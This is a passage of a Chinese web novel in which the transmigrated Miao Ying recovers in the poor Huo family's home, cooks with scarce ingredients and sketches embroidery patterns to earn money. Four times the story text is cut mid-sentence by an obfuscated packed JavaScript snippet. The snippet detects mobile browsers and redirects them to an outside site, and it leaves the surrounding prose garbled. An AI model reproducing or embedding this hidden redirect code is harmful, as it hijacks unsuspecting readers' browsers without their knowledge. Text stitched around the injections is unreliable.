霍行却表现得一点也不窘迫,直接跟老大夫说他们没有钱开药,只能付诊金,老大夫愣了一下,最后还是把方子给了他们,收了十五文的诊金和一味不是太好找的药钱三十文,苗应明显看到霍行的荷包里空了,不由得有些佩服他,荷包空空竟然也敢来看病。 拿了药方和药,霍行扶起苗应,苗应凑过去看药方,看了好一会儿,才迟疑地开口:“生地,熟地,白芍,丹参,茯苓,阿、阿胶?” “阿胶?吃不起吧?”苗应忧心忡忡。 霍行把药方收了起来,看着他:“你识字?” 苗应点头:“勉强能认识。”毕竟都是繁体字,连蒙带猜还是能猜出来的。 霍行沉默,他其实根本就没把苗应的话当真,只当他是不想死,所以才会百般讨好卖乖,甚至还能忍受他的靠近,他知道,苗应就是那样的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598271|171936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,为了自己的利益,无所不用其极。 但这会儿,苗应虽然读得磕磕巴巴,但的确是识字的,这让霍行不得不重新思考一下有关面前的苗应的事情。 他本来是想治好他的伤,就给他和离书放他自由,原本他也是不想娶的,只是架不住娘亲和祖母一哭二闹,人娶回来了,家里也不安宁了。 他陷入自己的思绪里,没注意到走在他后面的苗应已经被他甩开了很远。 他走回去,重新扶住苗应。 苗应已经说不出话了,他靠在霍行的胳膊上:“我不行了,可能又要晕了。” 霍行把他拦腰抱起来,沉默地又往家里走,到了家里已经是下午了,祖母和李红英还是在做针线活,冬天来了,田里没什么活了,只能靠着这这些勉强补贴一下家用。 看到苗应是竖着出去横着回来的,李红英叹了口气:“是不是没救了?” 霍行摇头,把人放到床上,想起大夫开的方子,还差几味药,但他现在实在没钱了,只能另想办法。 看着霍行进门又出门,李红英又问他干什么去,想着他可能是一天都水米未进,进了灶房给他拿吃的。 霍行接了过来,又沉默着找到水囊,往里面灌水,意识到霍行是要出门,李红英赶紧拦住他:“是要去哪啊?他怎么样啊?” “开了方子,但少了点药材,我去想想办法,他也没吃饭,麻烦娘给他做点。” 李红英看着他背着柴刀出门,知道他可能晚上又不能回来了,他们南口坝村是没有山的,霍行要去山上,只能去临镇那边,往常一出门就是几天。 “非要救他吗?”李红英又问。 霍行点头:“等他好了,就和离。” 说完霍行就离开了,李红英也不知道是该哭还是该笑,看到他走了,又进屋里去看了一眼苗应,头上的药已经干了,新鲜的祖母已经捣了出来,李红英端来药盅,又重新给他把药敷上。 敷完之后又是叹气,要是不执意让阿行娶他就好了,起码现在家里的日子也能好过一点,现在倒好,老太太的棺材本儿没了,家里还得搭上小宝的鸡蛋给他买药。 霍行小时候说话晚,开智也晚,长得却是人高马大,村里的人都叫他二傻子,傻大个,李红英却没有放弃他,替他拜了师父,学了打猎,他从七八岁开始就跟临镇的老猎户学习打猎。 似乎他天生就该吃打猎这碗饭,十来岁的时候就能靠着打猎补贴家用了。 老猎户是个鳏夫,夫郎去得早,没留下一儿半女,他也没再娶,只一心教导霍行,不仅教他打猎技巧,也教他草药的辨认,在打猎之余也会往镇上或者县城里卖点草药。 霍家本就不富裕,因为霍行能打猎,后来倒是有了点积蓄,只是霍行不让人省心,在某天打猎的时候从外面捡了个孩子回来,把李红英吓了一跳。 孩子都捡回来了,也是一条命,他们只能咬牙养了下来,孩子自然不能说是霍行的,李红英只能腆着脸跟村长说是她的孩子,但他们家的情况村长是知道的,看李红英的眼神里多了点怜悯。 想来这是霍三不知道跟什么人生的,李红英也捏着鼻子养着了。 本来该给霍行娶亲的,却因为这事,硬生生往后拖了几年,加上霍三在外头的名声不好,霍行的亲事就更难说,到头来只能聘了苗应,又生出这许多事端。 真是作孽啊。 5. 第 5 章 霍行从家里出去,往临镇去,这条路他常走,从七八岁开始他就往返于这里。 老猎户在他成亲的前一年去世,霍行把他葬在了山上,他们在山上有一个简单的小木屋,也是老猎户的住处,老猎户去世后,霍行在上山打猎的时候也会住在这里。 从家里到山上,霍行走到了深夜,他太熟悉这里,几乎是没什么磕绊就到了,他简单地修整了一下,连火折子都没点燃,靠在木屋的木头墙边打盹歇息了。 天亮之后霍行睁开眼睛,站起身来伸了个懒腰,随后开始寻找留在了这个木棚子里的东西,是他从前跟师父一起找到的草药,翻找一番之后,找到了那几味苗应需要的药,幸好都是些常见的。 只一味阿胶实在找不到。 霍行把找好的药装进包袱里,又想起苗应那天吃鱼的时候满足的样子,思索一会儿之后,又放下包袱,拿起弓箭和柴刀往外走。 简陋的木屋外面是一圈又一圈的不知名的植物,霍行夜里来踩到了一些,这会儿那几株植物耷拉在地上。 霍行也不知道这是什么东西,只记得在初春的时候,这些植物会开很多黄色的小花,连成一片很是好看,花落之后叶子也慢慢枯萎,之后就是结了长长的豆荚,长成之后豆荚里的豆子变成黑色,也不能吃,不过它们每年都生,除也除不尽,也就不管了。 已经冬天了,山上的猎物寥寥无几,先前布下的陷阱里也都空空如也,这在冬天是很经常的事情,所以师父教导他,打猎不能无止境,要给动物修养生息的机会,所以一般在冬天的时候,霍行就会不再打猎,去镇上或者是县城里做工,维持家里的生计。 遇见苗应是他最后一次从山上下来,看到苗应躺在血泊里,看那样子应该是凶多吉少,但他靠近的时候,却发现苗应还有呼吸。 也顾不得别的,霍行把苗应带回了家。 霍行守了一上午,一个猎物也没出现,想着还是苗应的伤要紧,便也不再等,带着药往回走。 回去的路上,霍行又想起了今天苗应的反应,在跟苗应为数不多的相处的日子里,他自觉自己还是不太了解苗应。 呆头呆脑的人想起事情来似乎格外信任上天,霍行心想,如果苗应说的是真的,他不是真的苗应的话,那上天对他应该是优待的。 霍行摇了摇头,不再想这件事情,现在要做的就是赶紧回去,把苗应的伤治好,随后跟他和离,放苗应自由。 就在他快要下山,突然听见翅膀煽动的声音,他立刻回头,撘弓拉弦,随着利箭破空而出,一只野鸡从树上落了下来。 霍行捡起野鸡,很是肥美,但这个季节已经不可能再有这么肥的野鸡了。 回到家的时候苗应已经醒了过来,坐在门口看着天空,他的面色苍白,似乎是下一秒他就会死去。 苗应看着他手上的肥鸡,眼睛都亮了,他立刻站起身来,只是失血过多导致他差点又晕过去,霍行用另一只手扶住他。 家里李红英也迎了出来,霍小宝比她更激动,围在霍行的腿边,看着那只野鸡,祖母不在家,像是出门去跟别人话家常了。 “我去熬药。”说完话,他低下头看苗应,苗应也跟霍小宝一样,眼睛直勾勾地盯着那只野鸡。 苗应看着那只野鸡,脑子里已经想出了无数种吃法,红烧鸡,辣子鸡,凉拌鸡,荷叶鸡,叫花鸡,钵钵鸡,哦,不对,钵钵鸡不是鸡。 “先喝药。”霍行说。 苗应无奈,只能眼睁睁看着李红英把鸡拿走,满脸苦涩。 他也没什么事儿做,又靠在一边看霍行生起炉子,因为南口坝村没有山,村里人富裕一点的烧煤炭,次一点的就烧什么秸秆玉米芯子的,霍行家因为有霍行,倒是能从山上带回些柴火过来,都堆在院子里。村里人偶尔也会问他买一些,也是个进项。 霍行按照药方上的方法把药下了锅,拿了个小扇子注意着火候。 今天的太阳照在身上有些温暖,苗应靠在屋檐下的柱子上昏昏欲睡,霍行抬眼看他,他因为失血过多的脸上很是苍白,阳光照在他身上的时候,他像是整个人都变得透明了,似乎下一秒就要变透明然后消失一样。 他走到苗应的身边,听见他清浅的呼吸,之后又松了一口气,苗应睁开眼睛看着他,有些不解:“怎么了?” 霍行摇头。 苗应又闭上了眼睛。 没一会儿药好了,霍行把药盛了出来,晾凉之后端到苗应的身边。 苗应没再睡着,只是闭着眼睛休息,闻见药味之后本能地觉得恶心,但想到自己的头,还是捏着鼻子一口闷了。 喝完药不敢再坐着,怕刚刚吞下去的药再被他吐出来,他只能站起来,又看向霍行:“这药够喝几顿?” 霍行顿了顿:“能喝三天。” 苗应点了点头:“好。” 他喝完站了一会儿之后,看见李红英已经在处理霍行带回来那只肥鸡。 他有心想自己来做,但想起李红英对他的态度,还是觉得算了,免得再讨人嫌。 李红英杀了鸡拔了毛,霍小宝拿着一根野鸡羽毛在院子跑来跑去,他招呼霍小宝过来,霍小宝倒是不怎么怕他,拿着几根鸡毛跑到苗应的身边。 苗应凑到他耳边悄悄说了两句什么,霍小宝睁大了眼睛,一脸期待地看着他,苗应点了点头,他就跑到了祖母的针线筐旁边,挑挑拣拣地选了好几块布头,不过都是边角料,还把祖母的剪刀也拿了过来。 剪刀把几个布条剪了一个小孔,又摸了摸自己的身上,发现自己身上还有一个方孔的铜钱,他喘了口气,发现霍小宝已经给他拿了很多鸡毛过来。 苗应笑了笑,把几根漂亮的羽毛排列好,随后把鸡毛插进布条和铜钱叠在一起的方孔里,插得密密麻麻的,就不会从孔里掉出来,再把鸡毛用棉线给缠好。 本来底座是需要多用几个铜钱的,不过他没有那么多,也只能勉强看着,是没办法踢的,不过用来哄一哄小孩儿还是可以的。 果然霍小宝开心坏了,举着一个简陋的毽子往娘亲面前去,李红英看到之后果然愣住,霍小宝不懂大人之间的事情,很高兴地说是嫂嫂给他做的。 苗应听见嫂嫂两个字脊背一僵,还是不太能接受自己是个男人还要被叫嫂嫂。 他的一举一动都逃不过霍行的眼睛,霍行收回目光,又不知道干什么去了。 一只肥鸡被李红英分成了四块 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598272|171936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,好在现在是冬天,还能经得住放,苗应有预感,这鸡他们得放到过年再吃。 好馋啊。 还是得先赚钱啊,苗应想,连个肉都吃不起的日子啥时候到头啊,一时间又没有头绪,苗应有些无能狂怒。 他看着李红英收拾完鸡,鸡内脏要准备扔掉,苗应赶紧拦住她,一声娘脱口而出:“娘,这也能吃的。” 李红英一愣,看着自己手里的盆,里面黏糊糊的一团,皱起眉头:“这也吃?”他们家中虽然清苦,实在馋了会买点便宜的猪下水,但这鸡的下水这么一点儿,除了鸡油留着也没啥吃头。 苗应摇头:“能吃的娘,娘帮我处理一下,我来做。” 李红英半信半疑,还是帮他把什么鸡肝鸡心的都处理了,那么小的鸡肠子也用篾片翻过来洗得干干净净。 没一会儿祖母也串亲戚回来,看到霍小宝手上的毽子还愣了愣,听见霍小宝说是嫂嫂做的,嘴角的笑又压了下去。 苗应倒是没什么想法,原身做错了那么多事,霍家人还能把他留下给他养伤已经是大善人了。 没一会儿就到了吃饭的时间,霍三不知道又去哪里喝酒去了,李红英把鸡脖子和鸡爪子拿来炖了汤,又准备做杂面窝头,苗应抓住霍行的袖子,说能不能吃面条。 鸡杂跟面条最配了。 霍行点了点头,去灶房里跟李红英商量去了,苗应等在外间,听见了李红英的抱怨声,但最后还是开始揉起了面。 等面揉好,苗应也往灶房里去,把鸡杂改了改刀,又捞了些泡菜起来,用鸡油把鸡杂炒了,另外一口锅里的鸡汤发出浓郁的香味,苗应都快流口水了。 但还是先把面条煮了,不是纯正的小麦粉做出来面条不筋道,口感也不好,但在炒好的鸡杂一拌之下,完全能够忽略那点缺点。 五个人都吃得很香,特别是霍小宝,李红英给他用炖的鸡汤拌的面条,他唏哩呼噜就是一碗下肚。 自己动手做饭,苗应总算能吃得很饱,可能是因为家里穷,什么都缺,所以李红英做饭并不好吃,也有可能是现在的人就为了饱腹,并不追求口感。 但归根结底还是没钱。 吃过晚饭,霍行又给他喝了一次药,他喝完之后还是不敢躺着,看到李红英提着菜篮子出去,便也跟在她的身后一起往外走。 李红英没管他,只是走自己的路,很快他们就到了一块菜地,虽然是冬天,地里却还是绿的,地里是水灵灵的萝卜,圆滚滚的白菜,还有大头菜,儿菜,这更让苗应确定这个地方比照他的世界就是川省。 李红英这会儿是为了拔几个萝卜掰几个儿菜回去,这几天泡菜用得还挺快,她回过头,看见苗应坐在田埂上,抱着膝盖在盯着萝卜看,也不知道在想什么。 “爬不起来我可不拉你回去。”李红英的篮子已经满了,她从地里起来,怕苗应起不来又晕在这里,于是又提醒了一句。 苗应手撑着田埂站起来,又跟在李红英的后面,今晚有月亮,照在地上像是落了满地的霜,他们两个人一前一后,影子被拉长。 苗应走在她的身后,内心却突然多了很多满足。 穿越也不是一无是处,至少现在有了亲人。 6. 第 6 章 回到家里,苗应进了房间里,霍行不知道去了哪里,他抬手摸了摸自己的头,上面是一层又一层的药汁子,随后又捋了一缕头发闻了闻,差点没给自己熏死。 他穿越过来四五天了,一次澡一次头发都没洗过,这会儿整个人都臭了,日常洗漱倒还好,用盐水漱口,一捧清水也能洗脸,但头和澡是真没办法洗啊。 霍行回到房间之后,就看见苗应呆坐在床上,面上很是纠结,见到霍行,他像是见到了救星:“霍行,我想洗澡。” 霍行的脚步停了一下,随后说:“天太冷。”他本来就有伤,要是再因为沐浴染上风寒,只怕是凶多吉少,那让他离开的时间就又要往后拖。 “那你们都怎么洗澡的?”苗应才不信他们一整个冬天都不洗澡。 “我在河里洗。”霍行借着月色走到了床边,“你不行。” 苗应看着他,目光里带着点祈求:“能不能烧点热水,不能洗,能不能擦擦身上?” 霍行几不可闻地叹了口气,随后走出房间,去了灶房,苗应朝他说了声谢,随后坐在床上等着他带着热水回来。 没一会儿他就听见了屋外的动静,是霍三喝得醉醺醺地回来了,看见灶房里还有火,又开始发酒疯,大吵大闹起来,尤其是又看到柜子里的鸡肉,就更一发不可收拾。 都是他一个人在吵嚷,霍行并没有说话,苗应站起身来凑在窗前,就听见霍三越骂越难听,话里话外还带着苗应的名字。 苗应推开门,刚想还嘴,霍行就一个手刀把霍三劈晕了,看这样子,他应该经常这么干,随后李红英也出了房门,霍行把他扛回了房间里。 之后霍行又用盆端了热水回到房间里,不能脱光了泡在水里,苗应只能退而求其次地用帕子擦擦身上,他赶紧脱衣服,很快就脱得□□。 他朝霍行招手:“帮个忙。”水盆在地上,苗应脱光了衣服觉得冷,这会儿又用被子裹在身上,于是只能让霍行帮他打湿帕子。 苗应发现这具身体很白,白得几乎都要反光了,在苗应看来这身体就跟白斩鸡似的,一点男子气概都没有,他有些嫌弃。 接过霍行递来的帕子,苗应很快地把脖子胸腹肚子擦了一遍,又重新把帕子递回去,又擦了第二遍,到背上的时候就有些不方便了,反手太久伤口就会一阵一阵疼。 于是只能趴在床上求助霍行:“能帮我擦擦后背吗?” 他等了好一会儿不见霍行有动作,他侧过头去看,发现霍行闭着眼睛站在原地,并没有动作:“快点啊,好冷。” 霍行见他如此坦然,皱起了眉头,又重新帮他拧了帕子,坐到床边,把他的背擦了一遍,很努力地不碰到苗应。 苗应的身上是莹白的,霍行没见过什么细腻的瓷器,做不出这样的形容,只觉得此刻的苗应就像是一匹上好的绸缎,在月光下缓缓流淌。 只是太瘦了,在鬼门关外走一趟,他整个人苍白瘦削,腰似乎还没有他的一个巴掌大。 等霍行给他擦完,苗应赶紧缩进被子里,还好他刚刚明智,把中衣都放进了被子里,不至于被冻个透心凉,他很快地穿好衣裳,又坐到床边,用尚有余温的水泡脚。 霍行就站在房间里,像个木桩子。 等他泡完脚,觉得整个身体都暖和了,匆匆擦干脚就钻进了被窝侧躺。 霍行收拾好水盆,沉默地回到房间里。 不知道是不是心理原因,苗应吃了药之后觉得自己好多了,没有再一躺下就睡着,等霍行回到房间,他还朝床的里侧挪了挪,给霍行留出很大一块地方。 往常霍行上床的时候,苗应不是晕了就是睡着了,两个人都清醒地躺在床上,还是头一遭。 霍行的个子很高,两人盖一床被子,霍行躺下之后被子就开始冒风,苗应打了个寒颤,朝霍行那边凑了凑:“好冷。” 被子实在是薄,苗应不自觉地往热源边上靠,他贴得越近,霍行的身子就越僵硬,苗应完全不知,只舒服地喟叹,没一会儿就睡着了。 霍行察觉到他逐渐绵长的呼吸,才终于松了口气,他侧过头,苗应头靠在他的手臂上,腿也往他身边凑,像是冷极了。 他无法言说自己现在的心情,苗应究竟是不在意,还是从前…… 霍行睁着眼睛熬到了天明,在天色将明的时候他总算合上了眼睛,刚要入睡,苗应的一条腿又搭在他的身上。 小心翼翼地把苗应的腿放下,霍行穿上衣裳起床,今天他打算去县城一趟,每年的这个时候他都会去县城做工,才能赚到过年钱,给家里的长辈做一身衣裳,还有丰盛的年夜饭。 今年,家里又多了一口人,快过年了,苗应的伤还没好,应该会在家里过年。 他刚走出房门,李红英也起来了,进了灶房里烧水,没一会儿苗应也起来了,他看见霍行正在洗脸,用的是他昨晚上泡脚的那个盆。 他看到苗应起来了,又把刚刚熬好的药端给苗应,苗应顺势接过来喝了下去,喝完之后在院子里转圈,没一会儿就看见祖母带着霍小宝起床了。 一大家子人迎着朝阳起床,开始了冬日里忙碌的一天。 祖母早起就开始做针线,李红英要去麦地里除草,霍三估计还晕着,苗应是在饭桌上才知道霍行要出远门的,他愣了一下,随后点了点头。 霍小宝是小孩儿,当然无忧无虑。 苗应又跟着霍行往房间里去,问题很多:“去县城做工?做什么?干体力活吗?我能跟你一起去吗?” “什么时候回来?万一你不在家祖母和娘把我赶出去怎么办?” “能赚多少钱啊?能给我也找个活干吗?” 霍行看了一眼他头上还是愈合得不太好的伤口:“活重,你做不了,先养伤吧。” 打工的基因是刻在苗应骨子里的,没理由这会儿别人都去打工了,他还不能去打工,他问霍行:“我能做些什么赚点钱?” 霍行想了想:“寻常哥儿,一般是做些针线,或者浆洗衣物,再者就是有门什么手艺,夫夫俩摆个摊子,做吃食。” 苗应看着自己的手,做饭的手艺他自认为还是可以的,但巧妇难为无米之炊,他空有手艺,无奈啊。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598273|171936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“等我好了,咱们也去摆摊子吧?”苗应守在他的身边,“你也看到了,我做饭的手艺很好,咱们也去镇上摆个什么摊子,肯定能赚到钱的。” 霍行只是一言不发,收拾着自己的衣裳:“等你好了再说吧。” 苗应带着霍小宝把霍行送到大路口,霍小宝乖乖地站在他的腿边,霍行揉了揉霍小宝的头,朝苗应点了点头之后便大步朝前走去。 苗应牵着霍小宝往回走,一路上看他的人不少,兴许是从前的苗应的名声在村里实在是太坏了,这会儿看他的人眼里都是带着嘲弄的。 他也不在意别人的目光,他占了原主的身子,自然也是要接受这一切的。 当务之急是赚钱,霍行都出去赚钱去了,难道他还要在家里等着霍行养他?打工皇帝决不允许。 只是一时间也犯难,别人穿越是怎么赚的钱呢?他一时间也想不起来,还是怪以前空闲的时间太少,根本没什么时间去看小说。 回到家里,祖母靠着门在做针线活,苗应凑过去看,只见她在绣帕子,帕子上是一丛兰花,清新素雅。 “祖母,这样一张帕子你需要绣几天啊?”他凑到祖母的跟前。 祖母显然是不太想搭理他,但看到他那双比起从前清澈了很多的眼睛,又回答了一句:“两三天。” “那这样一张帕子能卖多少钱啊?” 见他果然是在打钱的主意,祖母的脸瞬间就垮了下来:“拿那些钱还不够你的?” 苗应哽了一下,有前科就是这点不好,他笑着说:“不是,我有些新奇的花样子,是不是能卖得贵一些?” 祖母狐疑地看着他:“什么花样子?” 苗应无奈家里没有纸笔,想了想只好从灶门口捡了一块没有烧完的木棍,在地面上画了几笔,寥寥几笔之后,一只像猫又不是猫的东西被画了下来。 “您看,这样绣是不是比您绣什么花花草草简单?”苗应扔了手里的柴火,“这新奇,价还能比原来高些呢。” 霍小宝这会儿也跑了过来,指着地上的画说猫咪可爱。 苗应睁大着眼睛看着祖母,祖母有些不情愿地点了点头:“画得是挺好的。” 苗应笑起来:“那我帮您画样子?” 祖母没说话,苗应已经去洗手了,洗完手在衣裳上擦干净,随后在针线筐里找到祖母做针线的用具,祖母也没说什么,随手递给他一张素白的帕子。 苗应埋头画了起来,他小时候就很喜欢画画,但没有条件去学,上了大学之后,大学里有绘画社团,他在社团里埋头学习,现在想来也不是一无是处。 很快一张样子就画了出来,是一只猫,看起来有些奇怪,头很大,四肢小小的,但又实在憨态可掬。 祖母虽然嘴上不说,但苗应能从她的表情上看出来她其实很喜欢。 “祖母,这个怎么样,我觉得绣出来肯定很好看。” 祖母想夸他,但又想起他从前做的事情,硬生生地又忍了下去,倒是把自己弄得表情奇奇怪怪。 苗应也不在意,哈哈地笑了起来。 7. 第 7 章 李红英从地里回来,就看见苗应跟祖母两个人凑在一起,两个人围着个针线筐,看起来还很是和谐。 她有些纳闷,一上午不见,怎么原先对苗应成见最大的祖母反而能跟他好好说话了。她目光复杂地看着苗应,刚成亲那段时间,他可是连话都懒得跟他们说几句的,怎么脑子伤到之后就跟变了个人一样。 会做饭了,会给小宝好脸了,也会在祖母面前尽孝了。 要是他以后都能这样,那家里是不是也就能定下来了? 李红英定睛一看,苗应的侧脸在阳光下好看得很,有这样长相的,是能安定在村里过日子的吗?于是她赶紧摇头,不能被他的表象迷惑了,他只是为了让他们家给他养伤,并不是真心的。 苗应在祖母的针线筐里画了很多样子,都是祖母从前从没见过的,聪明伶俐的猫,憨态可掬的狗,肥嘟嘟的鸭子和有些她都说不上来是什么的东西。 李红英放下手上的东西也凑过来看,霍小宝拉着她的手,给她看地上苗应画的画:“娘,嫂嫂画的猫猫。” 苗应闻言抬起头,朝李红英笑了笑:“娘,我跟祖母画样子呢,您看。” 李红英也看到了苗应画的那些东西,一瞬间也觉得可爱得紧。 她还没说话,苗应又说:“把这些绣出来,到时候我去跟掌柜谈价钱去,保准能比以前的帕子卖得更好。” 李红英看着他面上不似作伪的表情,也在想他是不是有什么阴谋。 苗应赶紧摇头:“我真没别的心思,先前我不是做了很多错事,您还不计前嫌地让我在家里养伤,我也想把之前的损失都找回来一些。” 李红英扬了扬眉,不置可否,也许是觉得这帕子做出来似乎是真的能赚钱,于是也洗干净了手,开始绣起了帕子。 苗应只看到她们两个人的手指翻飞,很快轮廓就显现出来,他感觉她俩的动作甚至比机器还要快。 尤其是祖母,她的头发都花白了,但动作跟李红英不相上下,那双眼睛里,并没有寻常老妇人里的混沌,她的眼睛很是清明澄澈,所以还能在这个岁数还能绣花呢。 她们两人开始绣帕子,便没了苗应的事情,这会儿已经午时了,她们两个人绣得正起劲,似乎忘了做饭的事情,苗应便带着霍小宝去菜地里,准备弄点菜回来做饭。 霍小宝对自家的菜地很是熟悉,跑到菜地之后就开始拔萝卜,苗应只好让他去。 他们拎着两个萝卜回家,苗应看着灶房里缺了很多的调料,还是叹了口气,也不能怪李红英做饭不好吃,实在是能用的东西太少,所以才什么都做不出好滋味。 没敢动昨天的鸡肉,他把萝卜洗干净,然后切成细丝,征得李红英的同意之后打了一个鸡蛋,再撒上一把面粉,准备做个萝卜丸子,只是在搓好丸子之后,突然想起这里根本就没有油,丸子都没办法炸,于是只能把搓好的丸子放进蒸笼里,慢慢蒸熟。 只是这样蒸出来的萝卜丸子是没什么滋味的,只能借用调料才能让它的口感好一点,可灶房里除了点粗盐,一点酱油,别的就什么都没了,苗应叹气,也只能将就了。 萝卜丸子蒸了十来个,又用泡菜煮了个泡菜汤,做好之后才叫他们来吃饭。 李红英这才反应过来时间已经午时过了,看着眼前做好的饭,她愣了愣:“你刚刚要鸡蛋做什么了?” “做了个萝卜丸子,不过可能不太好吃。”苗应笑了笑,“您跟祖母尝尝。” 很快祖母也起身过来,四个人围在小桌子上,十来个萝卜丸子放在桌上,每人面前一碗泡菜汤,倒也是像模像样的一顿饭。 祖母先尝了一下萝卜丸子,带着点萝卜的清香,还有些鸡蛋的味道,中间又加了些杂面的粗糙口感,虽然说不上绝顶好吃,但也是他们吃过的很好吃的东西了,毕竟只是用萝卜做出来的。 这丸子软烂,适合祖母吃,配上泡菜汤的酸味,也是难得地下饭。 很快桌上的丸子就被吃得差不多了,霍小宝是个不挑食的好孩子,萝卜丸子也吃得很香,吃完自己碗里的还眼巴巴地看着苗应说以后还能不能吃到,苗应说当然可以。 吃完之后他们刚要收拾桌子,霍三就从房间里摇摇晃晃地出来了,苗应这才想起家里还有这么一号人。 他的酒算是醒了,也忘记了是被霍行打晕的,只当自己是睡落枕了,才会脖子疼,他不喝酒的时候倒是有点人样,只是看到空空的桌上才动了怒。 这怒自然是朝着苗应的,他对着苗应劈头盖脸就是一顿骂,骂他不敬长辈,又提起些从前的事。 苗应能对祖母和李红英和颜悦色,但对这个酗酒成性的霍三给不出好脸色:“少喝两口马尿,谁都能高看你一眼。” 霍三一听面色一变,就想冲上来打他,祖母拦在苗应的前头,看着霍三:“你这两年也是越活越回去了!还要动手打阿行的夫郎?” 霍三不可置信地看着自己的娘亲:“他还是阿行的夫郎?都跟人跑了的贱蹄子!” “阿行还没休弃他,他就还是阿行的夫郎。”李红英阴着脸,“吃你的饭,吃完饭就去把麦地里的草除了!” 霍三讪讪的,看到桌上只一碗泡菜汤,别的什么都没有:“这怎么吃!” 李红英冷眼看着他:“钱都被你拿去喝酒了,能有什么好东西吃!” 霍三骂骂咧咧的,一碗泡菜汤下肚,摔了碗又出门去了。 等他走了,苗应觉得脑子一阵阵地发晕,霍小宝抱住他的腿,苗应才勉强站稳。 李红英给了他一个好脸色:“喝了药就去睡一觉。” 苗应点了点头,他的身子还没好全,自然也不敢逞强。 接下来的好几天,霍三每晚都喝得醉醺醺地回来,没有霍行在家,他在家闹腾一通之后睡过去,李红英再把他拖回房间。 白天地里的事情李红英也不怎么管了,左右也不是要紧的事情,她更多的时间都是在跟祖母一起绣帕子,他们几乎是半天就能绣出两张,五天之后已经有十好几张的帕子了。 她们的绣工自然是没得说的,甚至苗应觉得他画得没那么好,全靠她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598274|171936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们的绣工,才能把这帕子绣得活灵活现的。 苗应的药也早就喝完了,最近好了很多,不会再动不动就发晕,头上的伤也在慢慢地愈合了,只是头发脏得他实在有些受不了。 在苗应的再三请求之下,李红英还是答应了帮他洗一下头发。 他不能贴皮洗头,只能沾湿发尾,再用皂角勉强洗洗,李红英帮他把伤口处的药擦了擦,伤口不再是血肉模糊,已经慢慢在愈合了。 洗完头发之后,没有吹风机就只能靠太阳,他坐在院子里,一只手用帕子擦头发,另一边霍小宝也在给他擦头发,这几天霍小宝都是跟他在一起,两人之间更亲近了一些,这会儿的霍小宝看起来就像是在给地主打工的长工,吭哧吭哧地一点也不觉得累。 霍行进院子就看见苗应朝霍小宝笑着,还有些湿润的头发搭在他的肩上,靛蓝色的衣裳上晕开一点深色,他的一张脸似乎比他走之前又瘦了些。 在看到霍行的那一刻,苗应的眼睛都亮了,他扶着霍小宝的肩膀,站直了身体:“你怎么回来了?” 霍行把怀里的药包递给他:“你的药。” 苗应连忙接过药,朝他笑了笑,这时李红英和祖母也过来了,她们上下打量霍行,发现他也瘦了些,也知道在外面干活肯定很不容易,于是李红英转头跟苗应说把鸡炖了。 苗应的眼睛更亮了,把药包放下之后就进了灶房里,从柜子里翻出前几天的那只被分成好几块的鸡。 脖子和脚头一天已经被吃掉了,苗应取了一半出来,别的鸡是做不了了,只能用来炖着吃,他一点剁鸡,一边喊娘,说让娘去菜地里拔两个萝卜回来。 李红英应了,带着霍小宝出去了,祖母还是在绣帕子,霍行没带什么行李,在院子里人散了之后也跟着进了灶房里。 苗应正拿着刀准备剁鸡块,菜刀扬起来之后被霍行捉住了手腕:“我来吧。” 苗应赶紧让他来,这具身子的力气还是不太行,他坐到灶边去烧火,霍行剁鸡的动作干净利落,很快就把鸡剁好了。 霍行正要把鸡块往锅里扔,苗应赶紧拦住他:“先把鸡块煸一下,煸出点油来。” 这只鸡很肥,鸡皮下也是一层厚厚的肥油,看样子能煸出不少鸡出油来。 很快鸡肉下锅,滋滋啦啦的声音响起来,不一会儿鸡油就出来了,把鸡块铲出去之后,苗应小心翼翼地把鸡油也用碗装了起来。 然后才开始炖鸡,在鸡块下锅的时候,苗应还放了两块泡菜进炖锅,很快鸡汤的香味就冒了出来,这会儿李红英也回来了,她把萝卜洗好,苗应把萝卜切块,放进鸡汤锅里,又用了点刚刚的鸡油炒了个白菜,李红英也在一边蒸好了杂面窝头。 